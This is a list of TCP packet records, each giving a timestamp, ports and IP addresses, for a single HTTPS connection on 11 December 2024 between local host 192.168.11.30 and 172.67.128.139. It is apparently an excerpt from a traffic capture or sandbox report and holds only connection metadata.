Dec 11, 2024 12:29:47.454705954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.454799891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.455394983 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.455529928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.455576897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.455576897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.455580950 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.455698013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.473016024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.479578018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.673162937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.673172951 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.673335075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.673335075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.673343897 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.673451900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.673670053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.675075054 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.675082922 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.675234079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.675234079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.675293922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.675297022 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.675332069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.675332069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.675513029 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.676955938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.676964045 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.677251101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.677251101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.677251101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.677257061 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.677472115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.677472115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.678946972 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.678953886 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.679121017 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.679178953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.679178953 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.679183960 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.679265022 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.679382086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.680891037 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.680898905 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.681063890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.681130886 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.681137085 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.681212902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.681317091 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.681874037 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.682071924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.682137012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.682141066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.683994055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.684256077 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.684278965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.684442997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.684540987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.684540987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.684547901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.686052084 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.686152935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.686192036 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.686202049 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.686254025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.686254025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.686301947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.686439037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.688029051 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.688061953 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.688113928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.688266993 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.688266993 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.688272953 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.688314915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.688363075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.689929008 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.689940929 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.690107107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.690112114 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.690150976 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.690150976 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.690202951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.692313910 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.692321062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.692426920 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.692503929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.692509890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.692564964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.692564964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.692615986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.692662001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.692714930 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.694329023 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.694335938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.694508076 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.694519997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.694602966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.694607019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.694812059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.696259022 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.696393013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.696468115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.696501017 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.696537971 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.696585894 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.707432985 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.714299917 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.911282063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.911294937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.911488056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.911488056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.911498070 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.911535978 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.911683083 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.913111925 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.913120031 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.913252115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.913352966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.913352966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.913352966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.913357973 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.913578987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.915057898 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.915066957 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.915265083 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.915268898 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.915313959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.915313959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.915438890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.917047977 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.917073965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.917274952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.917274952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.917274952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.917280912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.917443037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.917443037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.918932915 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.918941975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.919091940 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.919169903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.919173002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.919258118 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.919364929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.921427965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.921462059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.921634912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.921690941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.921694994 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.921845913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.923312902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.923321962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.923458099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.923535109 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.923538923 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.923633099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.923721075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.924679041 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.925164938 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.925189018 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.925335884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.925335884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.925389051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.925389051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.925391912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.925434113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.925568104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.926089048 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.926269054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.930515051 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.930524111 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.930702925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.930708885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.930809975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.930809975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.932553053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.932563066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.932718992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.932723999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.932764053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.932812929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.934479952 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.934487104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.934624910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.934631109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.934673071 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.934673071 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.934721947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.934771061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.936304092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942009926 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942018986 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942110062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942133904 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942138910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942205906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942209959 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942254066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942254066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942302942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942302942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942306042 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942348957 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942352057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942400932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942400932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942502022 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942502022 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942542076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942543030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:47.942548037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942548037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942599058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942599058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942647934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.942694902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:47.966825962 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.148818016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.148828983 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.149050951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.149059057 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.149099112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.149099112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.149259090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.150707960 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.150717020 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.150835991 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.150935888 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.150935888 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.150954008 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.151094913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.152664900 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.152673006 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.152888060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.152888060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.152893066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.153018951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.154637098 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.154659986 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.154809952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.154809952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.154815912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.154859066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.154859066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.155033112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.156744003 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.156752110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.156900883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.156900883 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.156939030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.156939030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.156944036 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.156987906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.157195091 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.158929110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.158936977 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.159105062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.159105062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.159105062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.159111023 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.159149885 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.159149885 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.159249067 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.159615040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.161673069 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.161680937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.161859035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.161859035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.161859035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.161865950 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.161911011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.162003040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.162003040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.162774086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.162781954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.162909031 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.162960052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.163042068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.163044930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.163184881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.164633989 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.164642096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.164783001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.164783001 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.164897919 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.164901018 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.165045023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.165615082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.165760994 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.165760994 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.166450024 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.166722059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.168576002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.168598890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.168813944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.168813944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.168817997 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.168941021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.170542955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.170552015 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.170774937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.171036959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.171041012 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.171320915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.172086954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.172641039 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.172647953 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.172852039 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.172852039 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.172857046 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.172951937 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.173038960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.174406052 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.174412966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.174653053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.174653053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.174659014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.174941063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.176542044 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.176548958 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.176815987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.176820040 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.176899910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.177045107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.178771019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.178778887 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.178980112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.178985119 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.179070950 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.179188967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.180802107 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.180809021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.180991888 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.180991888 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.180996895 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.181044102 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.181092978 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.181138039 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.181489944 CET	443	49756	172.67.128.139	192.168.11.30
